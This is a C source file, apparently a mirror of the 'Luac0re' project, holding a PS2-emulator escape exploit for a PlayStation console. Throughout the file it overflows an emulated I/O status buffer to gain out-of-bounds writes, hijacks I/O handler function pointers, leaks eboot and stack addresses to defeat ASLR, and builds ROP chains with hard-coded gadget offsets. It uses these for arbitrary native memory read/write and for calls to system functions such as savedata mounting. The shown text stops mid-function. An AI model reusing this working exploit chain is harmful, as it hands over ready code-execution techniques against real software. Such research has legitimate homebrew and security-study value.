mirror of
https://github.com/Gezine/Luac0re.git
synced 2026-10-22 08:32:28 -05:00
1080 lines
35 KiB
C
1080 lines
35 KiB
C
/*
|
|
Copyright (C) 2026 Gezine
|
|
|
|
This software may be modified and distributed under the terms
|
|
of the MIT license. See the LICENSE file for details.
|
|
*/
|
|
|
|
// Credits
|
|
// CTurt https://cturt.github.io/mast1c0re.html
|
|
// McCaulay https://mccaulay.co.uk/mast1c0re-part-2-arbitrary-ps2-code-execution/
|
|
// ChampionLeake https://www.psdevwiki.com/ps2/Vulnerabilities
|
|
|
|
#include <tamtypes.h>
|
|
|
|
#define PS2_MAX_THREADS 255
|
|
|
|
#define PS2_SYS_GET_THREAD_ID_USA 0x002F5A90
|
|
#define PS2_SYS_TERMINATE_THREAD_USA 0x002F59F0
|
|
#define PS2_SYS_DELETE_THREAD_USA 0x002F59B0
|
|
|
|
#define PS2_SYS_GET_THREAD_ID_EU 0x002F5FD0
|
|
#define PS2_SYS_TERMINATE_THREAD_EU 0x002F5F30
|
|
#define PS2_SYS_DELETE_THREAD_EU 0x002F5EF0
|
|
|
|
#define BREAKOUT_BUSY_TIMEOUT 100000
|
|
|
|
#define NCMD_COMMAND 0x1f402004
|
|
#define NCMD_STATUS 0x1f402005
|
|
#define NCMD_SEND 0x1f402005
|
|
#define SCMD_COMMAND 0x1f402016
|
|
#define SCMD_STATUS 0x1f402017
|
|
#define SCMD_SEND 0x1f402017
|
|
#define SCMD_RECV 0x1f402018
|
|
|
|
#define CMD_STATUS_EMPTY 0x40
|
|
#define CMD_STATUS_BUSY 0x80
|
|
|
|
#define N_STATUS_BUFFER 0x3A2448 // unk_3A2408 + 0x40
|
|
#define S_STATUS_BUFFER 0x3A2458
|
|
#define N_STATUS_INDEX 0x3A24C8
|
|
#define S_STATUS_INDEX 0x3A24D8
|
|
|
|
#define IO_REGISTER_READ_HANDLERS 0x5BFB1A0
|
|
#define INTERRUPT_WRITE_HANDLERS 0x5F29C8
|
|
#define PARTIAL_POINTER_OVERWRITE_RET 0x31
|
|
|
|
#define PS2_TO_NATIVE(address) ((u64)(u32)(address) | 0x8000000000ULL)
|
|
|
|
// PS2 syscall function pointers
|
|
typedef int (*f_get_thread_id)();
|
|
typedef int (*f_terminate_thread)(int thread_id);
|
|
typedef int (*f_delete_thread)(int thread_id);
|
|
|
|
static f_get_thread_id get_thread_id = NULL;
|
|
static f_terminate_thread terminate_thread = NULL;
|
|
static f_delete_thread delete_thread = NULL;
|
|
|
|
static int is_region_usa = 1;
|
|
|
|
// eboot offsets
|
|
static u64 READ_HANDLER = 0x16c700;
|
|
static u64 ADD_EAX_ESP_RET = 0xF1114;
|
|
static u64 POP_RSP_RET = 0x61a70;
|
|
static u64 MOV_EAX_DOUBLE_DEREF = 0x239a64;
|
|
static u64 RET = 0x72;
|
|
static u64 POP_RAX_RET = 0xb50a0;
|
|
static u64 POP_RBX_RET = 0xc234;
|
|
static u64 POP_RCX_RET = 0x96059;
|
|
static u64 POP_RDI_RET = 0x1429;
|
|
static u64 POP_RSI_RET = 0xbf2b0;
|
|
static u64 POP_RDX_RET = 0xbf5b7;
|
|
static u64 POP_RBP_RET = 0x8f;
|
|
static u64 POP_R13_RET = 0xbf35d;
|
|
static u64 POP_R14_RET = 0x11d0e2;
|
|
static u64 POP_R15_RET = 0x1428;
|
|
static u64 MOV_DEREF_RDI_RAX_RET = 0x75b6c; // mov qword [rdi], rax ; ret ;
|
|
static u64 MOV_RAX_DEREF_RAX_RET = 0x23ac20; // mov rax, qword [rax] ; ret ;
|
|
static u64 PIVOT_GADGET2 = 0x2e3aac; // pop rsi ; or al, 0xED ; jmp qword [rdi+0x0C] ;
|
|
|
|
// mov rax, qword [0x0000000002DC8A50] ; jmp qword [rax+0x48] ;
|
|
static u64 LUA_PIVOT1 = 0x129039;
|
|
|
|
static u64 LUA_PIVOT_SCRATCH = 0x5C00000;
|
|
static u64 DIALOG_SCRATCH = 0x3C00000;
|
|
// scratch buffer in eboot for lua arw
|
|
static u64 fake_string_offset = 0x393350; // TString for arbitrary read
|
|
static u64 fake_table_offset = 0x393450; // addrof
|
|
|
|
// libc offsets
|
|
static u64 PIVOT_GADGET1 = 0x5a070; // mov rax, qword [rax-0x18] ; mov rdi, qword [rbx+rax+0x40] ; mov rax, qword [rdi] ; mov rax, qword [rax+0x70] ; call rax
|
|
static u64 PIVOT_GADGET3 = 0x5453b; // mov rsp, qword [rdi+0xF8] ; mov rcx, qword [rdi+0xE0] ; push rcx ; mov rdi, qword [rdi+0x48] ; ret
|
|
|
|
// functions
|
|
static u64 sceKernelOpen = 0;
|
|
static u64 sceKernelRead = 0;
|
|
static u64 sceKernelWrite = 0;
|
|
static u64 sceKernelClose = 0;
|
|
static u64 sceKernelStat = 0;
|
|
static u64 sceMsgDialogInitialize = 0;
|
|
static u64 sceMsgDialogOpen = 0;
|
|
static u64 sceMsgDialogTerminate = 0;
|
|
static u64 sceCommonDialogInitialize = 0;
|
|
static u64 sceCommonDialogTerminate = 0;
|
|
static u64 sceKernelUsleep = 0;
|
|
static u64 sceUserServiceGetInitialUser = 0;
|
|
static u64 sceSaveDataMount = 0;
|
|
|
|
// lua
|
|
static u64 lua_newstate = 0x188C90;
|
|
static u64 lua_allocator = 0x1954F0;
|
|
static u64 lua_requiref = 0x194590;
|
|
static u64 lua_loadfile = 0x1931A0;
|
|
static u64 lua_pcall = 0x17B4B0;
|
|
|
|
static u64 lua_pushlstring = 0x189800;
|
|
static u64 lua_newtable = 0x18A050;
|
|
static u64 lua_settable = 0x18C970;
|
|
static u64 lua_setglobal = 0x17AF80;
|
|
static u64 lua_gettable = 0x17A070;
|
|
|
|
static u64 lualib__G = 0x19D590;
|
|
static u64 lualib_package = 0x1B1650;
|
|
static u64 lualib_coroutine = 0x1A0110;
|
|
static u64 lualib_table = 0x1B0070;
|
|
static u64 lualib_io = 0x1A3E30;
|
|
static u64 lualib_os = 0x1A8C40;
|
|
static u64 lualib_string = 0x1AA030;
|
|
static u64 lualib_math = 0x1A7AF0;
|
|
static u64 lualib_utf8 = 0x19C7D0;
|
|
static u64 lualib_debug = 0x1A1020;
|
|
|
|
#define LUA_TNIL 0x00
|
|
#define LUA_TNUMINT 0x13
|
|
#define LUA_TLNGSTR 0x14
|
|
#define LUA_TLCF 0x16
|
|
#define LUA_TTABLE 0x45
|
|
#define LUA_TLNGSTR_GC 0x54
|
|
|
|
#define L_TOP_OFFSET 0x10 // lua_State->top offset
|
|
|
|
static u32 n_status_index = 0;
|
|
|
|
static u32 eboot_base = 0;
|
|
static u64 libc_base = 0;
|
|
static u64 fios_base = 0;
|
|
|
|
static u64 stack_pointer = 0;
|
|
static u64 saved_rbp = 0;
|
|
|
|
static u64 return_value = 0;
|
|
|
|
static u32 user_id = 0;
|
|
|
|
// ============================================================================
|
|
|
|
void detect_region() {
|
|
volatile u8* addr = (volatile u8*)PS2_SYS_GET_THREAD_ID_USA;
|
|
|
|
if (addr[0]==0x2F && addr[1]==0x00 && addr[2]==0x03 && addr[3]==0x24 && addr[4]==0x0C && addr[5]==0x00 && addr[6]==0x00 && addr[7]==0x00) {
|
|
// USA version
|
|
is_region_usa = 1;
|
|
get_thread_id = (f_get_thread_id)PS2_SYS_GET_THREAD_ID_USA;
|
|
terminate_thread = (f_terminate_thread)PS2_SYS_TERMINATE_THREAD_USA;
|
|
delete_thread = (f_delete_thread)PS2_SYS_DELETE_THREAD_USA;
|
|
} else {
|
|
// EU version
|
|
is_region_usa = 0;
|
|
get_thread_id = (f_get_thread_id)PS2_SYS_GET_THREAD_ID_EU;
|
|
terminate_thread = (f_terminate_thread)PS2_SYS_TERMINATE_THREAD_EU;
|
|
delete_thread = (f_delete_thread)PS2_SYS_DELETE_THREAD_EU;
|
|
}
|
|
}
|
|
|
|
void kill_threads()
|
|
{
|
|
int tid = get_thread_id();
|
|
|
|
for (int i = 1; i < PS2_MAX_THREADS; i++)
|
|
{
|
|
if (i != tid)
|
|
{
|
|
terminate_thread(i);
|
|
delete_thread(i);
|
|
}
|
|
}
|
|
}
|
|
|
|
void reset_s_status_index() {
|
|
*(volatile u8*)SCMD_COMMAND = 0;
|
|
|
|
int i = 0;
|
|
while ((*(volatile u8*)SCMD_STATUS) & CMD_STATUS_BUSY) {
|
|
if (++i > BREAKOUT_BUSY_TIMEOUT)
|
|
break;
|
|
}
|
|
|
|
i = 0;
|
|
while (!((*(volatile u8*)SCMD_STATUS) & CMD_STATUS_EMPTY)) {
|
|
volatile u8 recv = *(volatile u8*)SCMD_RECV;
|
|
(void)recv;
|
|
if (++i > BREAKOUT_BUSY_TIMEOUT)
|
|
break;
|
|
}
|
|
}
|
|
|
|
void reset_n_status_index() {
|
|
*(volatile u8*)NCMD_COMMAND = 0;
|
|
|
|
int i = 0;
|
|
while ((*(volatile u8*)NCMD_STATUS) & CMD_STATUS_BUSY) {
|
|
if (++i > BREAKOUT_BUSY_TIMEOUT)
|
|
break;
|
|
}
|
|
|
|
n_status_index = 0;
|
|
}
|
|
|
|
void s_status_buffer_overflow(u8* overflow, u32 size) {
|
|
reset_s_status_index();
|
|
|
|
// Fill 16-byte buffer
|
|
for (int i = 0; i < 0x10; i++)
|
|
*(volatile u8*)SCMD_SEND = 0;
|
|
|
|
// Write out-of-bounds
|
|
for (u32 i = 0; i < size; i++)
|
|
*(volatile u8*)SCMD_SEND = overflow[i];
|
|
}
|
|
|
|
void set_oob_index(u32 index) {
|
|
if (n_status_index == index)
|
|
return;
|
|
|
|
reset_n_status_index();
|
|
|
|
u8 overflow[0x60 + 4] = {0};
|
|
|
|
// Overwrite gNStatusIndex
|
|
overflow[0x60 + 0] = index >> 0;
|
|
overflow[0x60 + 1] = index >> 8;
|
|
overflow[0x60 + 2] = index >> 16;
|
|
overflow[0x60 + 3] = index >> 24;
|
|
|
|
n_status_index = index;
|
|
|
|
s_status_buffer_overflow(overflow, sizeof(overflow));
|
|
}
|
|
|
|
// ============================================================================
|
|
|
|
void write_oob8(u32 offset, u8 value) {
|
|
set_oob_index(offset - N_STATUS_BUFFER);
|
|
*(volatile u8*)NCMD_SEND = value;
|
|
n_status_index++;
|
|
}
|
|
|
|
void write_oob16(u32 offset, u16 value) {
|
|
write_oob8(offset + 0, (u8)(value >> 0));
|
|
write_oob8(offset + 1, (u8)(value >> 8));
|
|
}
|
|
|
|
void write_oob32(u32 offset, u32 value) {
|
|
write_oob8(offset + 0, (u8)(value >> 0));
|
|
write_oob8(offset + 1, (u8)(value >> 8));
|
|
write_oob8(offset + 2, (u8)(value >> 16));
|
|
write_oob8(offset + 3, (u8)(value >> 24));
|
|
}
|
|
|
|
void write_oob64(u32 offset, u64 value) {
|
|
write_oob32(offset + 0, (u32)value);
|
|
write_oob32(offset + 4, (u32)(value >> 32));
|
|
}
|
|
|
|
// ============================================================================
|
|
|
|
// Arbitrary read via double-dereference gadget
|
|
// mov rax, qword [rax+0x40] ; mov eax, [rax+0x8BC] ; ret
|
|
u32 read32_unstable(u64 target_addr) {
|
|
// Write full 64-bit address (target - 0x8BC) at offset +0x40
|
|
write_oob64(IO_REGISTER_READ_HANDLERS + 0x40, target_addr - 0x8BC);
|
|
|
|
// Trigger gadget:
|
|
// RAX = [RAX+0x40] = full 64-bit (target - 0x8BC)
|
|
// EAX = [RAX+0x8BC] = [target]
|
|
write_oob64(IO_REGISTER_READ_HANDLERS, MOV_EAX_DOUBLE_DEREF);
|
|
|
|
volatile u32* io = (volatile u32*)0x10000000;
|
|
u32 retval = *io;
|
|
|
|
//Restore
|
|
write_oob64(IO_REGISTER_READ_HANDLERS + 0x40, READ_HANDLER);
|
|
write_oob64(IO_REGISTER_READ_HANDLERS, READ_HANDLER);
|
|
|
|
return retval;
|
|
}
|
|
|
|
u64 read64_unstable(u64 target_addr) {
|
|
u32 low = read32_unstable(target_addr);
|
|
u32 high = read32_unstable(target_addr + 4);
|
|
return ((u64)high << 32) | low;
|
|
}
|
|
|
|
// ============================================================================
|
|
|
|
u64 leak_eboot() {
|
|
// Corrupt LSB from 0x00 to 0x31 to point to RET instruction
|
|
// This returns the IO handler address in EAX
|
|
volatile u32* io = (volatile u32*)0x10000000;
|
|
write_oob8(IO_REGISTER_READ_HANDLERS, (u8)PARTIAL_POINTER_OVERWRITE_RET);
|
|
u32 io_function_pointer_address = *io;
|
|
|
|
// Calculate ASLR slide (eboot_base)
|
|
return (u64)io_function_pointer_address - IO_REGISTER_READ_HANDLERS;
|
|
}
|
|
|
|
u64 leak_stack() {
|
|
// add eax, esp ; ret
|
|
// EAX initially contains IO_REGISTER_READ_HANDLERS address
|
|
// After gadget: EAX = IO_REGISTER_READ_HANDLERS + ESP
|
|
write_oob64(IO_REGISTER_READ_HANDLERS, ADD_EAX_ESP_RET);
|
|
|
|
volatile u32* io = (volatile u32*)0x10000000;
|
|
u32 result = *io;
|
|
u32 base = (u32)(eboot_base + IO_REGISTER_READ_HANDLERS);
|
|
u32 esp = result - base;
|
|
|
|
//Restore
|
|
write_oob64(IO_REGISTER_READ_HANDLERS, READ_HANDLER);
|
|
|
|
// RSP is always in 0x700000000 range
|
|
return (u64)esp | 0x700000000ULL;
|
|
}
|
|
|
|
// ============================================================================
|
|
|
|
void init_eboot_offsets() {
|
|
eboot_base = leak_eboot();
|
|
|
|
READ_HANDLER += eboot_base;
|
|
ADD_EAX_ESP_RET += eboot_base;
|
|
POP_RSP_RET += eboot_base;
|
|
MOV_EAX_DOUBLE_DEREF += eboot_base;
|
|
RET += eboot_base;
|
|
POP_RAX_RET += eboot_base;
|
|
POP_RBX_RET += eboot_base;
|
|
POP_RCX_RET += eboot_base;
|
|
POP_RDI_RET += eboot_base;
|
|
POP_RSI_RET += eboot_base;
|
|
POP_RDX_RET += eboot_base;
|
|
POP_RBP_RET += eboot_base;
|
|
POP_R13_RET += eboot_base;
|
|
POP_R14_RET += eboot_base;
|
|
POP_R15_RET += eboot_base;
|
|
MOV_DEREF_RDI_RAX_RET += eboot_base;
|
|
MOV_RAX_DEREF_RAX_RET += eboot_base;
|
|
PIVOT_GADGET2 += eboot_base;
|
|
|
|
LUA_PIVOT1 += eboot_base;
|
|
LUA_PIVOT_SCRATCH += eboot_base;
|
|
DIALOG_SCRATCH += eboot_base;
|
|
|
|
lua_newstate += eboot_base;
|
|
lua_allocator += eboot_base;
|
|
lua_requiref += eboot_base;
|
|
lua_loadfile += eboot_base;
|
|
lua_pcall += eboot_base;
|
|
|
|
lualib__G += eboot_base;
|
|
lualib_package += eboot_base;
|
|
lualib_coroutine += eboot_base;
|
|
lualib_table += eboot_base;
|
|
lualib_io += eboot_base;
|
|
lualib_os += eboot_base;
|
|
lualib_string += eboot_base;
|
|
lualib_math += eboot_base;
|
|
lualib_utf8 += eboot_base;
|
|
lualib_debug += eboot_base;
|
|
|
|
lua_pushlstring += eboot_base;
|
|
lua_newtable += eboot_base;
|
|
lua_settable += eboot_base;
|
|
lua_setglobal += eboot_base;
|
|
lua_gettable += eboot_base;
|
|
|
|
fake_string_offset += eboot_base;
|
|
fake_table_offset += eboot_base;
|
|
|
|
}
|
|
|
|
void init_libc_offsets() {
|
|
u64 strlen = read64_unstable(eboot_base + 0x388E18);
|
|
libc_base = strlen - 0x32070;
|
|
|
|
PIVOT_GADGET1 += libc_base;
|
|
PIVOT_GADGET3 += libc_base;
|
|
}
|
|
|
|
// ============================================================================
|
|
|
|
static u64 *rop_chain_buffer = (u64*)0x500000; // PS2 memory scratch
|
|
static u64 *rop_chain;
|
|
static u8 pivot_structure[512];
|
|
|
|
void setup_rop() {
|
|
stack_pointer = leak_stack() - 0x100;
|
|
saved_rbp = stack_pointer + 0x18;
|
|
|
|
// Zero out entire buffer from PS2 side (makes it writable for native)
|
|
for (int i = 0; i < 0x40000; i++) {
|
|
rop_chain_buffer[i] = 0;
|
|
}
|
|
|
|
for (int i = 0; i < 512; i++) {
|
|
pivot_structure[i] = 0;
|
|
}
|
|
|
|
// Place ROP chain at buffer midpoint to allow stack growth in both directions
|
|
rop_chain = rop_chain_buffer + 0x20000; // 0x20000 * 8 = 0x100000 byte offset
|
|
|
|
u64 pivot_struct_native = PS2_TO_NATIVE((u32)pivot_structure);
|
|
u64 rop_chain_native = PS2_TO_NATIVE((u32)rop_chain);
|
|
|
|
// Setup for PIVOT_GADGET1: writes value that will be read at [rax-0x18]
|
|
// This will make rax point to our pivot structure when PIVOT_GADGET1 executes
|
|
write_oob64(IO_REGISTER_READ_HANDLERS - 0x18, pivot_struct_native - 0x10000040);
|
|
|
|
// PIVOT_GADGET1: mov rax, [rax-0x18] ; mov rdi, [rbx+rax+0x40] ; mov rax, [rdi] ; mov rax, [rax+0x70] ; call rax
|
|
// After reading [rax-0x18], rax = pivot_struct_native - 0x10000040
|
|
// Then rdi = [rbx + (pivot_struct_native - 0x10000040) + 0x40] where rbx is 0x10000000 or 0x10000010
|
|
// This gives us rdi = [pivot_struct_native + 0x00] or [pivot_struct_native + 0x10]
|
|
*(u64*)(pivot_structure + 0x00) = pivot_struct_native + 0x20; // For rbx = 0x10000000
|
|
*(u64*)(pivot_structure + 0x10) = pivot_struct_native + 0x20; // For rbx = 0x10000010
|
|
*(u64*)(pivot_structure + 0x20) = pivot_struct_native + 0x20; // rdi now points here
|
|
|
|
// PIVOT_GADGET1 continues: mov rax, [rdi] ; mov rax, [rax+0x70] ; call rax
|
|
// rax = [pivot_struct_native + 0x20] = pivot_struct_native + 0x20
|
|
// rax = [rax+0x70] = [pivot_struct_native + 0x90] = PIVOT_GADGET2
|
|
*(u64*)(pivot_structure + 0x0C + 0x20) = PIVOT_GADGET3; // Used by PIVOT_GADGET2
|
|
*(u64*)(pivot_structure + 0x70 + 0x20) = PIVOT_GADGET2; // Will be called by PIVOT_GADGET1
|
|
|
|
// PIVOT_GADGET2: pop rsi ; or al, 0xED ; jmp [rdi+0x0C]
|
|
// pop rsi removes the return address pushed by PIVOT_GADGET1's call instruction
|
|
// This cleans up the stack before jumping to PIVOT_GADGET3
|
|
// Jumps to [rdi+0x0C] = [pivot_struct_native + 0x2C] = PIVOT_GADGET3
|
|
|
|
// PIVOT_GADGET3: mov rsp, [rdi+0xF8] ; mov rcx, [rdi+0xE0] ; push rcx ; mov rdi, [rdi+0x48] ; ret
|
|
// This is the actual stack pivot: moves our ROP chain address into RSP
|
|
// Pushes RET instruction address, then returns to execute our ROP chain
|
|
*(u64*)(pivot_structure + 0xE0 + 0x20) = RET; // Pushed then returned to
|
|
*(u64*)(pivot_structure + 0xF8 + 0x20) = rop_chain_native; // New stack pointer (ROP chain)
|
|
|
|
// Set stack pivot gadget
|
|
write_oob64(IO_REGISTER_READ_HANDLERS, PIVOT_GADGET1);
|
|
|
|
}
|
|
|
|
u64 call_rop_full(u64 address, u64 rax, u64 arg1, u64 arg2, u64 arg3, u64 arg4) {
|
|
int idx = 0;
|
|
// Note : stack must align 16 bytes
|
|
|
|
// Removed
|
|
//
|
|
// Restore corrupted read handler function pointer
|
|
// rop_chain[idx++] = POP_RAX_RET;
|
|
// rop_chain[idx++] = READ_HANDLER;
|
|
// rop_chain[idx++] = POP_RDI_RET;
|
|
// rop_chain[idx++] = eboot_base + IO_REGISTER_READ_HANDLERS;
|
|
// rop_chain[idx++] = MOV_DEREF_RDI_RAX_RET;
|
|
|
|
// Setup function arguments
|
|
rop_chain[idx++] = POP_RAX_RET;
|
|
rop_chain[idx++] = rax;
|
|
rop_chain[idx++] = POP_RDI_RET;
|
|
rop_chain[idx++] = arg1;
|
|
rop_chain[idx++] = POP_RSI_RET;
|
|
rop_chain[idx++] = arg2;
|
|
rop_chain[idx++] = POP_RDX_RET;
|
|
rop_chain[idx++] = arg3;
|
|
rop_chain[idx++] = POP_RCX_RET;
|
|
rop_chain[idx++] = arg4;
|
|
|
|
// Call function
|
|
rop_chain[idx++] = address;
|
|
|
|
// Save return value
|
|
rop_chain[idx++] = POP_RDI_RET;
|
|
rop_chain[idx++] = PS2_TO_NATIVE((u32)&return_value);
|
|
rop_chain[idx++] = MOV_DEREF_RDI_RAX_RET;
|
|
|
|
// Restore registers
|
|
rop_chain[idx++] = POP_RBX_RET;
|
|
rop_chain[idx++] = 0x10000000;
|
|
rop_chain[idx++] = POP_R14_RET;
|
|
rop_chain[idx++] = 0x10000000;
|
|
rop_chain[idx++] = POP_R15_RET;
|
|
rop_chain[idx++] = 0x1030000090;
|
|
rop_chain[idx++] = POP_RBP_RET;
|
|
rop_chain[idx++] = saved_rbp;
|
|
rop_chain[idx++] = POP_RSP_RET;
|
|
rop_chain[idx++] = stack_pointer;
|
|
|
|
// Trigger the pivot
|
|
volatile u32* io = (volatile u32*)0x10000000;
|
|
(void)*io;
|
|
|
|
return return_value;
|
|
}
|
|
|
|
#define call_rop(addr, ...) call_rop_helper(addr, ##__VA_ARGS__, 0, 0, 0, 0, 0)
|
|
#define call_rop_helper(addr, rax, arg1, arg2, arg3, arg4, ...) \
|
|
call_rop_full(addr, rax, arg1, arg2, arg3, arg4)
|
|
|
|
// ============================================================================
|
|
|
|
u64 read64(u64 address) {
|
|
return call_rop(MOV_RAX_DEREF_RAX_RET, address);
|
|
}
|
|
|
|
u32 read32(u64 address) {
|
|
return (u32)read64(address);
|
|
}
|
|
|
|
u16 read16(u64 address) {
|
|
return (u16)read64(address);
|
|
}
|
|
|
|
u8 read8(u64 address) {
|
|
return (u8)read64(address);
|
|
}
|
|
|
|
void write64(u64 address, u64 value) {
|
|
call_rop(MOV_DEREF_RDI_RAX_RET, value, address);
|
|
}
|
|
|
|
void write8(u64 address, u8 value) {
|
|
u64 current = read64(address);
|
|
write64(address, (current & ~0xFFULL) | value);
|
|
}
|
|
|
|
void write16(u64 address, u16 value) {
|
|
u64 current = read64(address);
|
|
write64(address, (current & ~0xFFFFULL) | value);
|
|
}
|
|
|
|
void write32(u64 address, u32 value) {
|
|
u64 current = read64(address);
|
|
write64(address, (current & ~0xFFFFFFFFULL) | value);
|
|
}
|
|
|
|
void init_function_offsets() {
|
|
sceKernelOpen = read64(eboot_base + 0x388FB0);
|
|
sceKernelRead = read64(eboot_base + 0x388FC0);
|
|
sceKernelWrite = read64(eboot_base + 0x388FA0);
|
|
sceKernelClose = read64(eboot_base + 0x388FC0);
|
|
sceKernelStat = read64(eboot_base + 0x388FD0);
|
|
sceMsgDialogInitialize = read64(eboot_base + 0x389128);
|
|
sceMsgDialogOpen = read64(eboot_base + 0x389158);
|
|
sceMsgDialogTerminate = read64(eboot_base + 0x389418);
|
|
sceCommonDialogInitialize = read64(eboot_base + 0x389160);
|
|
sceCommonDialogTerminate = sceCommonDialogInitialize + 0x70;
|
|
sceKernelUsleep = read64(eboot_base + 0x389640);
|
|
sceUserServiceGetInitialUser = read64(eboot_base + 0x3891D8);
|
|
sceSaveDataMount = read64(eboot_base + 0x3893F0);
|
|
}
|
|
|
|
void init_fios_offsets() {
|
|
// sceFiosDeallocatePassthruFH
|
|
fios_base = read64(libc_base + 0xCBCD8) - 0xD6A0;
|
|
}
|
|
|
|
|
|
// ============================================================================
|
|
|
|
void u64_to_str(u64 num, char *str) {
|
|
int i = 0;
|
|
|
|
if (num == 0) {
|
|
str[0] = '0';
|
|
str[1] = '\0';
|
|
return;
|
|
}
|
|
|
|
while (num > 0) {
|
|
u64 quotient = 0;
|
|
u64 remainder = 0;
|
|
|
|
for (int bit = 63; bit >= 0; bit--) {
|
|
remainder <<= 1;
|
|
if (num & (1ULL << bit)) {
|
|
remainder |= 1;
|
|
}
|
|
if (remainder >= 10) {
|
|
remainder -= 10;
|
|
quotient |= (1ULL << bit);
|
|
}
|
|
}
|
|
|
|
str[i++] = remainder + '0';
|
|
num = quotient;
|
|
}
|
|
|
|
str[i] = '\0';
|
|
|
|
int start = 0;
|
|
int end = i - 1;
|
|
while (start < end) {
|
|
char temp = str[start];
|
|
str[start] = str[end];
|
|
str[end] = temp;
|
|
start++;
|
|
end--;
|
|
}
|
|
}
|
|
|
|
void u64_to_hex(u64 num, char *str) {
|
|
int i = 2;
|
|
|
|
str[0] = '0';
|
|
str[1] = 'x';
|
|
|
|
if (num == 0) {
|
|
str[2] = '0';
|
|
str[3] = '\0';
|
|
return;
|
|
}
|
|
|
|
while (num > 0) {
|
|
int digit = num & 0xF;
|
|
if (digit < 10) {
|
|
str[i++] = digit + '0';
|
|
} else {
|
|
str[i++] = digit - 10 + 'A';
|
|
}
|
|
num >>= 4;
|
|
}
|
|
|
|
str[i] = '\0';
|
|
|
|
int start = 2;
|
|
int end = i - 1;
|
|
while (start < end) {
|
|
char temp = str[start];
|
|
str[start] = str[end];
|
|
str[end] = temp;
|
|
start++;
|
|
end--;
|
|
}
|
|
}
|
|
|
|
void send_notification(const char* text) {
|
|
const u64 notify_buffer_size = 0xc30;
|
|
u8 notify_buffer[0xc30] = {0};
|
|
|
|
for (int i = 0; i < notify_buffer_size; i++) {
|
|
notify_buffer[i] = 0;
|
|
}
|
|
|
|
// Setup notification structure
|
|
*(u32*)¬ify_buffer[0x0] = 0; // type
|
|
*(u32*)¬ify_buffer[0x28] = 0; // unk3
|
|
*(u32*)¬ify_buffer[0x2c] = 1; // use_icon_image_uri
|
|
*(u32*)¬ify_buffer[0x10] = 0xffffffff; // target_id (-1 as unsigned)
|
|
|
|
// Write message at offset 0x2D
|
|
int i = 0;
|
|
while (text[i] != '\0' && i < 0x3FE) {
|
|
notify_buffer[0x2D + i] = text[i];
|
|
i++;
|
|
}
|
|
notify_buffer[0x2D + i] = '\0';
|
|
|
|
// Write icon URI at offset 0x42D
|
|
const char* icon_uri = "cxml://psnotification/tex_icon_system";
|
|
i = 0;
|
|
while (icon_uri[i] != '\0') {
|
|
notify_buffer[0x42D + i] = icon_uri[i];
|
|
i++;
|
|
}
|
|
notify_buffer[0x42D + i] = '\0';
|
|
|
|
static char dev_path[] = "/dev/notification0";
|
|
|
|
u64 fd = call_rop(sceKernelOpen, 0,
|
|
PS2_TO_NATIVE((u32)dev_path),
|
|
0x0001, // O_WRONLY
|
|
0);
|
|
|
|
call_rop(sceKernelWrite, 0,
|
|
fd,
|
|
PS2_TO_NATIVE((u32)notify_buffer),
|
|
notify_buffer_size);
|
|
|
|
call_rop(sceKernelClose, 0, fd);
|
|
}
|
|
|
|
void get_userid() {
|
|
call_rop(sceUserServiceGetInitialUser, 0, PS2_TO_NATIVE(&user_id));
|
|
}
|
|
|
|
void show_dialog(const char* message) {
|
|
call_rop(sceMsgDialogTerminate);
|
|
call_rop(sceMsgDialogInitialize);
|
|
|
|
// Use eboot scratch space for buffers (32bit address)
|
|
u64 dialog_param_addr = DIALOG_SCRATCH;
|
|
u64 msg_param_addr = DIALOG_SCRATCH + 0x88;
|
|
|
|
// Zero dialog_param buffer
|
|
for (int i = 0; i < 0x88; i++) {
|
|
write8(dialog_param_addr + i, 0);
|
|
}
|
|
|
|
// Zero msg_param buffer
|
|
for (int i = 0; i < 0x20; i++) {
|
|
write8(msg_param_addr + i, 0);
|
|
}
|
|
|
|
// Calculate magic
|
|
// magic calculation does not like 64bit address (?)
|
|
u32 magic = (u32)(0xC0D1A109 + dialog_param_addr);
|
|
|
|
// Setup dialog_param structure
|
|
write64(dialog_param_addr + 0x00, 0x30); // baseParam.size
|
|
write32(dialog_param_addr + 0x2C, magic); // magic
|
|
write64(dialog_param_addr + 0x30, 0x88); // size
|
|
write32(dialog_param_addr + 0x38, 1); // mode
|
|
write64(dialog_param_addr + 0x40, msg_param_addr); // msg_param pointer
|
|
write32(dialog_param_addr + 0x58, user_id); // userId
|
|
|
|
// Setup msg_param structure
|
|
write32(msg_param_addr + 0x00, 0);
|
|
write64(msg_param_addr + 0x08, PS2_TO_NATIVE((u32)message));
|
|
|
|
u64 msg_ret = call_rop(sceMsgDialogOpen, 0, dialog_param_addr);
|
|
|
|
if(msg_ret != 0) {
|
|
send_notification("sceMsgDialogOpen failed");
|
|
}
|
|
|
|
}
|
|
|
|
int mount_savedata_readonly() {
|
|
u8 stat_buffer[256];
|
|
static char savedata_path[] = "/savedata0";
|
|
u8 dir_name_struct[32];
|
|
u8 mount_params[128];
|
|
u8 mount_result[128];
|
|
|
|
send_notification("Mounting savedata for Lua transition...");
|
|
|
|
// Wait existing rw mount auto unmounts
|
|
for (int attempt = 0; attempt < 20; attempt++) {
|
|
u64 stat_ret = call_rop(sceKernelStat, 0,
|
|
PS2_TO_NATIVE((u32)savedata_path),
|
|
PS2_TO_NATIVE((u32)stat_buffer));
|
|
|
|
if (stat_ret != 0) {
|
|
break;
|
|
}
|
|
call_rop(sceKernelUsleep, 0, 1000000);
|
|
}
|
|
|
|
for (int i = 0; i < 32; i++) {
|
|
dir_name_struct[i] = 0;
|
|
}
|
|
|
|
char save_dir_usa[] = "SLUS-20268";
|
|
char save_dir_eu[] = "SLES-50366";
|
|
char* save_dir = (is_region_usa == 1) ? save_dir_usa : save_dir_eu;
|
|
|
|
for (int i = 0; save_dir[i] != '\0' && i < 31; i++) {
|
|
dir_name_struct[i] = save_dir[i];
|
|
}
|
|
|
|
for (int i = 0; i < 128; i++) {
|
|
mount_params[i] = 0;
|
|
mount_result[i] = 0;
|
|
}
|
|
|
|
*(u32*)&mount_params[0x00] = user_id;
|
|
*(u64*)&mount_params[0x08] = 0;
|
|
*(u64*)&mount_params[0x10] = PS2_TO_NATIVE((u32)dir_name_struct);
|
|
*(u64*)&mount_params[0x20] = 32768;
|
|
*(u32*)&mount_params[0x28] = 1; // Read only for permanent mount
|
|
|
|
for (int attempt = 0; attempt < 10; attempt++) {
|
|
u64 ret = call_rop(sceSaveDataMount, 0,
|
|
PS2_TO_NATIVE((u32)mount_params),
|
|
PS2_TO_NATIVE((u32)mount_result));
|
|
|
|
if (ret == 0) {
|
|
